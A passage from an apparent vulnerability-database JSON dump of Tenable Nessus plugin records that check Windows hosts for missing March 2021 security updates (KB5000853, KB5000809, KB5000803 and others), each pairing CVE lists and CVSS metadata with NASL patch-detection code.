https://support.microsoft.com/en-us/topic/march-9-2021-kb5000840-security-only-update-a5261347-8a42-4727-a544-bd66fb3d4d70\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?2561ac2c\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Security Only update KB5000840 or Cumulative Update KB5000847.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-26897\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:\"CANVAS\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/09\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-03';\nkbs = make_list(\n '5000847',\n '5000840'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win8:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\n# Windows 8 EOL\nproductname = get_kb_item_or_exit(\"SMB/ProductName\", exit_code:1);\nif (\"Windows 8\" >< productname) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'6.2', \n sp:0,\n rollup_date:'03_2021',\n bulletin:bulletin,\n rollup_kb_list:[5000847, 5000840])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:26:22", "description": "The remote Windows host is missing security update 5000853 or cumulative update 5000848. It is, therefore, affected by multiple vulnerabilities :\n\n - A remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized arbitrary commands. (CVE-2021-26861, CVE-2021-26877, CVE-2021-26881, CVE-2021-26893, CVE-2021-26894, CVE-2021-26895, CVE-2021-26897)\n\n - An elevation of privilege vulnerability. An attacker can exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-26862, CVE-2021-26868, CVE-2021-26872, CVE-2021-26873, CVE-2021-26875, CVE-2021-26878, CVE-2021-26882, CVE-2021-26898, CVE-2021-26899, CVE-2021-26901, CVE-2021-27077)\n\n - A denial of service (DoS) vulnerability. An attacker can exploit this issue to cause the affected component to deny system or application services. (CVE-2021-26879, CVE-2021-26886, CVE-2021-26896, CVE-2021-27063)\n\n - An information disclosure vulnerability. An attacker can exploit this to disclose potentially sensitive information. (CVE-2021-24107, CVE-2021-26869, CVE-2021-26884)\n\n - An memory corruption vulnerability exists. An attacker can exploit this to corrupt the memory and cause unexpected behaviors within the system/application.\n (CVE-2021-26411)", "cvss3": {}, "published": "2021-03-09T00:00:00", "type": "nessus", "title": "KB5000853: Windows 8.1 and Windows Server 2012 R2 March 2021 Security Update", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-1640", "CVE-2021-24107", "CVE-2021-26411", "CVE-2021-26861", "CVE-2021-26862", "CVE-2021-26868", "CVE-2021-26869", "CVE-2021-26872", "CVE-2021-26873", "CVE-2021-26875", "CVE-2021-26877", "CVE-2021-26878", "CVE-2021-26879", "CVE-2021-26881", "CVE-2021-26882", "CVE-2021-26884", "CVE-2021-26886", "CVE-2021-26893", "CVE-2021-26894", "CVE-2021-26895", "CVE-2021-26896", "CVE-2021-26897", "CVE-2021-26898", "CVE-2021-26899", "CVE-2021-26901", "CVE-2021-27063", "CVE-2021-27077"], "modified": "2023-02-03T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_MAR_5000848.NASL", "href": "https://www.tenable.com/plugins/nessus/147229", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(147229);\n script_version(\"1.11\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/03\");\n\n script_cve_id(\n \"CVE-2021-1640\",\n \"CVE-2021-24107\",\n \"CVE-2021-26411\",\n \"CVE-2021-26861\",\n \"CVE-2021-26862\",\n \"CVE-2021-26868\",\n \"CVE-2021-26869\",\n \"CVE-2021-26872\",\n \"CVE-2021-26873\",\n \"CVE-2021-26875\",\n \"CVE-2021-26877\",\n \"CVE-2021-26878\",\n \"CVE-2021-26879\",\n \"CVE-2021-26881\",\n \"CVE-2021-26882\",\n \"CVE-2021-26884\",\n \"CVE-2021-26886\",\n \"CVE-2021-26893\",\n \"CVE-2021-26894\",\n \"CVE-2021-26895\",\n \"CVE-2021-26896\",\n \"CVE-2021-26897\",\n \"CVE-2021-26898\",\n \"CVE-2021-26899\",\n \"CVE-2021-26901\",\n \"CVE-2021-27063\",\n \"CVE-2021-27077\"\n );\n script_xref(name:\"MSKB\", value:\"5000848\");\n script_xref(name:\"MSKB\", value:\"5000853\");\n script_xref(name:\"MSFT\", value:\"MS21-5000848\");\n script_xref(name:\"MSFT\", value:\"MS21-5000853\");\n script_xref(name:\"IAVA\", value:\"2021-A-0130-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0134-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0015\");\n\n script_name(english:\"KB5000853: Windows 8.1 and Windows Server 2012 R2 March 2021 Security Update\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5000853\nor cumulative update 5000848. It is, therefore, affected by\nmultiple vulnerabilities :\n\n - A remote code execution vulnerability. An attacker can\n exploit this to bypass authentication and execute\n unauthorized arbitrary commands. (CVE-2021-26861,\n CVE-2021-26877, CVE-2021-26881, CVE-2021-26893,\n CVE-2021-26894, CVE-2021-26895, CVE-2021-26897)\n\n - An elevation of privilege vulnerability. An attacker can\n exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-26862, CVE-2021-26868,\n CVE-2021-26872, CVE-2021-26873, CVE-2021-26875,\n CVE-2021-26878, CVE-2021-26882, CVE-2021-26898,\n CVE-2021-26899, CVE-2021-26901, CVE-2021-27077)\n\n - A denial of service (DoS) vulnerability. An attacker can\n exploit this issue to cause the affected component to\n deny system or application services. (CVE-2021-26879,\n CVE-2021-26886, CVE-2021-26896, CVE-2021-27063)\n\n - An information disclosure vulnerability. An attacker can\n exploit this to disclose potentially sensitive\n information. (CVE-2021-24107, CVE-2021-26869,\n CVE-2021-26884)\n\n - An memory corruption vulnerability exists. An attacker\n can exploit this to corrupt the memory and cause\n unexpected behaviors within the system/application.\n (CVE-2021-26411)\");\n # https://support.microsoft.com/en-us/topic/march-9-2021-kb5000853-security-only-update-8dac9fb9-dbc9-4484-8e56-df5492d20808\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?be16b68e\");\n # https://support.microsoft.com/en-us/topic/march-9-2021-kb5000848-monthly-rollup-52f23db9-e1b0-4829-81b9-198fc82891a3\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?5ff1e9b3\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Security Only update KB5000853 or Cumulative Update KB5000848.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-26897\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:\"CANVAS\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/09\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-03';\nkbs = make_list(\n '5000848',\n '5000853'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win81:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\n# Windows 8 EOL\nproductname = get_kb_item_or_exit(\"SMB/ProductName\", exit_code:1);\nif (\"Windows 8\" >< productname && \"8.1\" >!< productname)\n audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'6.3', \n sp:0,\n rollup_date:'03_2021',\n bulletin:bulletin,\n rollup_kb_list:[5000848, 5000853])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:26:44", "description": "The remote Windows host is missing security update 5000809.\nIt is, therefore, affected by multiple vulnerabilities :\n\n - An information disclosure vulnerability. An attacker can exploit this to disclose potentially sensitive information. (CVE-2021-24107, CVE-2021-26869, CVE-2021-26884)\n\n - An memory corruption vulnerability exists. An attacker can exploit this to corrupt the memory and cause unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - A denial of service (DoS) vulnerability. An attacker can exploit this issue to cause the affected component to deny system or application services. (CVE-2021-26879, CVE-2021-26886)\n\n - An elevation of privilege vulnerability. An attacker can exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-1729, CVE-2021-24095, CVE-2021-26862, CVE-2021-26863, CVE-2021-26866, CVE-2021-26868, CVE-2021-26870, CVE-2021-26871, CVE-2021-26872, CVE-2021-26873, CVE-2021-26875, CVE-2021-26878, CVE-2021-26880, CVE-2021-26882, CVE-2021-26885, CVE-2021-26889, CVE-2021-26898, CVE-2021-26899, CVE-2021-26901, CVE-2021-27077)\n\n - A remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized arbitrary commands. (CVE-2021-26861, CVE-2021-26876, CVE-2021-26881, CVE-2021-27085)\n\n - A security feature bypass vulnerability exists. An attacker can exploit this and bypass the security feature and perform unauthorized actions compromising the integrity of the system/application.\n (CVE-2021-26892)", "cvss3": {}, "published": "2021-03-09T00:00:00", "type": "nessus", "title": "KB5000809: Windows 10 Version 1803 March 2021 Security Update", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-1640", "CVE-2021-1729", "CVE-2021-24095", "CVE-2021-24107", "CVE-2021-26411", "CVE-2021-26861", "CVE-2021-26862", "CVE-2021-26863", "CVE-2021-26866", "CVE-2021-26868", "CVE-2021-26869", "CVE-2021-26870", "CVE-2021-26871", "CVE-2021-26872", "CVE-2021-26873", "CVE-2021-26875", "CVE-2021-26876", "CVE-2021-26878", "CVE-2021-26879", "CVE-2021-26880", "CVE-2021-26881", "CVE-2021-26882", "CVE-2021-26884", "CVE-2021-26885", "CVE-2021-26886", "CVE-2021-26889", "CVE-2021-26892", "CVE-2021-26898", "CVE-2021-26899", "CVE-2021-26901", "CVE-2021-27077", "CVE-2021-27085"], "modified": "2023-02-03T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_MAR_5000809.NASL", "href": "https://www.tenable.com/plugins/nessus/147224", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(147224);\n script_version(\"1.17\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/03\");\n\n script_cve_id(\n \"CVE-2021-1640\",\n \"CVE-2021-1729\",\n \"CVE-2021-24095\",\n \"CVE-2021-24107\",\n \"CVE-2021-26411\",\n \"CVE-2021-26861\",\n \"CVE-2021-26862\",\n \"CVE-2021-26863\",\n \"CVE-2021-26866\",\n \"CVE-2021-26868\",\n \"CVE-2021-26869\",\n \"CVE-2021-26870\",\n \"CVE-2021-26871\",\n \"CVE-2021-26872\",\n \"CVE-2021-26873\",\n \"CVE-2021-26875\",\n \"CVE-2021-26876\",\n \"CVE-2021-26878\",\n \"CVE-2021-26879\",\n \"CVE-2021-26880\",\n \"CVE-2021-26881\",\n \"CVE-2021-26882\",\n \"CVE-2021-26884\",\n \"CVE-2021-26885\",\n \"CVE-2021-26886\",\n \"CVE-2021-26889\",\n \"CVE-2021-26892\",\n \"CVE-2021-26898\",\n \"CVE-2021-26899\",\n \"CVE-2021-26901\",\n \"CVE-2021-27077\",\n \"CVE-2021-27085\"\n );\n script_xref(name:\"MSKB\", value:\"5000809\");\n script_xref(name:\"MSFT\", value:\"MS21-5000809\");\n script_xref(name:\"IAVA\", value:\"2021-A-0129-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0130-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0134-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0131-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0015\");\n\n script_name(english:\"KB5000809: Windows 10 Version 1803 March 2021 Security Update\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5000809.\nIt is, therefore, affected by multiple vulnerabilities :\n\n - An information disclosure vulnerability. An attacker can\n exploit this to disclose potentially sensitive\n information. (CVE-2021-24107, CVE-2021-26869,\n CVE-2021-26884)\n\n - An memory corruption vulnerability exists. An attacker\n can exploit this to corrupt the memory and cause\n unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - A denial of service (DoS) vulnerability. An attacker can\n exploit this issue to cause the affected component to\n deny system or application services. (CVE-2021-26879,\n CVE-2021-26886)\n\n - An elevation of privilege vulnerability. An attacker can\n exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-1729, CVE-2021-24095,\n CVE-2021-26862, CVE-2021-26863, CVE-2021-26866,\n CVE-2021-26868, CVE-2021-26870, CVE-2021-26871,\n CVE-2021-26872, CVE-2021-26873, CVE-2021-26875,\n CVE-2021-26878, CVE-2021-26880, CVE-2021-26882,\n CVE-2021-26885, CVE-2021-26889, CVE-2021-26898,\n CVE-2021-26899, CVE-2021-26901, CVE-2021-27077)\n\n - A remote code execution vulnerability. An attacker can\n exploit this to bypass authentication and execute\n unauthorized arbitrary commands. (CVE-2021-26861,\n CVE-2021-26876, CVE-2021-26881, CVE-2021-27085)\n\n - A security feature bypass vulnerability exists. An\n attacker can exploit this and bypass the security\n feature and perform unauthorized actions compromising\n the integrity of the system/application.\n (CVE-2021-26892)\");\n # https://support.microsoft.com/en-us/topic/march-9-2021-kb5000809-os-build-17134-2087-2601a686-8e12-449d-913c-a63a9b73e2eb\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?4ef7d4b2\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Cumulative Update KB5000809.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-27085\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-26881\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:\"CANVAS\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/09\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:microsoft:windows\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Windows : Microsoft Bulletins\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"smb_check_rollup.nasl\", \"smb_hotfixes.nasl\", \"ms_bulletin_checks_possible.nasl\");\n script_require_keys(\"SMB/MS_Bulletin_Checks/Possible\");\n script_require_ports(139, 445, \"Host/patch_management_checks\");\n\n exit(0);\n}\n\ninclude('smb_func.inc');\ninclude('smb_hotfixes.inc');\ninclude('smb_hotfixes_fcheck.inc');\ninclude('smb_reg_query.inc');\n\nget_kb_item_or_exit('SMB/MS_Bulletin_Checks/Possible');\n\nbulletin = 'MS21-03';\nkbs = make_list(\n '5000809'\n);\n\nif (get_kb_item('Host/patch_management_checks')) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);\n\nget_kb_item_or_exit('SMB/Registry/Enumerated');\nget_kb_item_or_exit('SMB/WindowsVersion', exit_code:1);\n\nif (hotfix_check_sp_range(win10:'0') <= 0) audit(AUDIT_OS_SP_NOT_VULN);\n\nshare = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);\nif (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);\n\nif (\n smb_check_rollup(os:'10',\n sp:0,\n os_build:'17134',\n rollup_date:'03_2021',\n bulletin:bulletin,\n rollup_kb_list:[5000809])\n)\n{\n replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);\n hotfix_security_hole();\n hotfix_check_fversion_end();\n exit(0);\n}\nelse\n{\n hotfix_check_fversion_end();\n audit(AUDIT_HOST_NOT, hotfix_get_audit_report());\n}\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:26:45", "description": "The remote Windows host is missing security update 5000803.\nIt is, therefore, affected by multiple vulnerabilities :\n\n - An information disclosure vulnerability. An attacker can exploit this to disclose potentially sensitive information. (CVE-2021-24107, CVE-2021-26869, CVE-2021-26884)\n\n - An memory corruption vulnerability exists. An attacker can exploit this to corrupt the memory and cause unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - An elevation of privilege vulnerability. An attacker can exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-26862, CVE-2021-26864, CVE-2021-26865, CVE-2021-26866, CVE-2021-26868, CVE-2021-26872, CVE-2021-26873, CVE-2021-26875, CVE-2021-26878, CVE-2021-26880, CVE-2021-26882, CVE-2021-26891, CVE-2021-26898, CVE-2021-26899, CVE-2021-26901, CVE-2021-27077)\n\n - A remote code execution vulnerability. An attacker can exploit this to bypass authentication and execute unauthorized arbitrary commands. (CVE-2021-26861, CVE-2021-26877, CVE-2021-26881, CVE-2021-26893, CVE-2021-26894, CVE-2021-26895, CVE-2021-26897)\n\n - A denial of service (DoS) vulnerability. An attacker can exploit this issue to cause the affected component to deny system or application services. (CVE-2021-26879, CVE-2021-26886, CVE-2021-26896, CVE-2021-27063)\n\n - A security feature bypass vulnerability exists. An attacker can exploit this and bypass the security feature and perform unauthorized actions compromising the integrity of the system/application.\n (CVE-2021-26892)", "cvss3": {}, "published": "2021-03-09T00:00:00", "type": "nessus", "title": "KB5000803: Windows Security Update (March 2021)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-1640", "CVE-2021-24107", "CVE-2021-26411", "CVE-2021-26861", "CVE-2021-26862", "CVE-2021-26864", "CVE-2021-26865", "CVE-2021-26866", "CVE-2021-26868", "CVE-2021-26869", "CVE-2021-26872", "CVE-2021-26873", "CVE-2021-26875", "CVE-2021-26877", "CVE-2021-26878", "CVE-2021-26879", "CVE-2021-26880", "CVE-2021-26881", "CVE-2021-26882", "CVE-2021-26884", "CVE-2021-26886", "CVE-2021-26891", "CVE-2021-26892", "CVE-2021-26893", "CVE-2021-26894", "CVE-2021-26895", "CVE-2021-26896", "CVE-2021-26897", "CVE-2021-26898", "CVE-2021-26899", "CVE-2021-26901", "CVE-2021-27063", "CVE-2021-27077"], "modified": "2023-02-03T00:00:00", "cpe": ["cpe:/o:microsoft:windows"], "id": "SMB_NT_MS21_MAR_5000803.NASL", "href": "https://www.tenable.com/plugins/nessus/147222", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the Microsoft Security Updates API. The text\n# itself is copyright (C) Microsoft Corporation.\n#\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(147222);\n script_version(\"1.14\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/02/03\");\n\n script_cve_id(\n \"CVE-2021-1640\",\n \"CVE-2021-24107\",\n \"CVE-2021-26411\",\n \"CVE-2021-26861\",\n \"CVE-2021-26862\",\n \"CVE-2021-26864\",\n \"CVE-2021-26865\",\n \"CVE-2021-26866\",\n \"CVE-2021-26868\",\n \"CVE-2021-26869\",\n \"CVE-2021-26872\",\n \"CVE-2021-26873\",\n \"CVE-2021-26875\",\n \"CVE-2021-26877\",\n \"CVE-2021-26878\",\n \"CVE-2021-26879\",\n \"CVE-2021-26880\",\n \"CVE-2021-26881\",\n \"CVE-2021-26882\",\n \"CVE-2021-26884\",\n \"CVE-2021-26886\",\n \"CVE-2021-26891\",\n \"CVE-2021-26892\",\n \"CVE-2021-26893\",\n \"CVE-2021-26894\",\n \"CVE-2021-26895\",\n \"CVE-2021-26896\",\n \"CVE-2021-26897\",\n \"CVE-2021-26898\",\n \"CVE-2021-26899\",\n \"CVE-2021-26901\",\n \"CVE-2021-27063\",\n \"CVE-2021-27077\"\n );\n script_xref(name:\"MSKB\", value:\"5000803\");\n script_xref(name:\"MSFT\", value:\"MS21-5000803\");\n script_xref(name:\"IAVA\", value:\"2021-A-0129-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0130-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0134-S\");\n script_xref(name:\"IAVA\", value:\"2021-A-0131-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2021/11/17\");\n script_xref(name:\"CEA-ID\", value:\"CEA-2021-0015\");\n\n script_name(english:\"KB5000803: Windows Security Update (March 2021)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Windows host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote Windows host is missing security update 5000803.\nIt is, therefore, affected by multiple vulnerabilities :\n\n - An information disclosure vulnerability. An attacker can\n exploit this to disclose potentially sensitive\n information. (CVE-2021-24107, CVE-2021-26869,\n CVE-2021-26884)\n\n - An memory corruption vulnerability exists. An attacker\n can exploit this to corrupt the memory and cause\n unexpected behaviors within the system/application.\n (CVE-2021-26411)\n\n - An elevation of privilege vulnerability. An attacker can\n exploit this to gain elevated privileges.\n (CVE-2021-1640, CVE-2021-26862, CVE-2021-26864,\n CVE-2021-26865, CVE-2021-26866, CVE-2021-26868,\n CVE-2021-26872, CVE-2021-26873, CVE-2021-26875,\n CVE-2021-26878, CVE-2021-26880, CVE-2021-26882,\n CVE-2021-26891, CVE-2021-26898, CVE-2021-26899,\n CVE-2021-26901, CVE-2021-27077)\n\n - A remote code execution vulnerability. An attacker can\n exploit this to bypass authentication and execute\n unauthorized arbitrary commands. (CVE-2021-26861,\n CVE-2021-26877, CVE-2021-26881, CVE-2021-26893,\n CVE-2021-26894, CVE-2021-26895, CVE-2021-26897)\n\n - A denial of service (DoS) vulnerability. An attacker can\n exploit this issue to cause the affected component to\n deny system or application services. (CVE-2021-26879,\n CVE-2021-26886, CVE-2021-26896, CVE-2021-27063)\n\n - A security feature bypass vulnerability exists. An\n attacker can exploit this and bypass the security\n feature and perform unauthorized actions compromising\n the integrity of the system/application.\n (CVE-2021-26892)\");\n # https://support.microsoft.com/en-us/topic/march-9-2021-kb5000803-os-build-14393-4283-711d10dd-adcb-490b-a640-aaa25009cfed\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?41f8ea83\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply Cumulative Update KB5000803.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-26897\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_core\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:\"CANVAS\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/03/08\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/03/09\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", 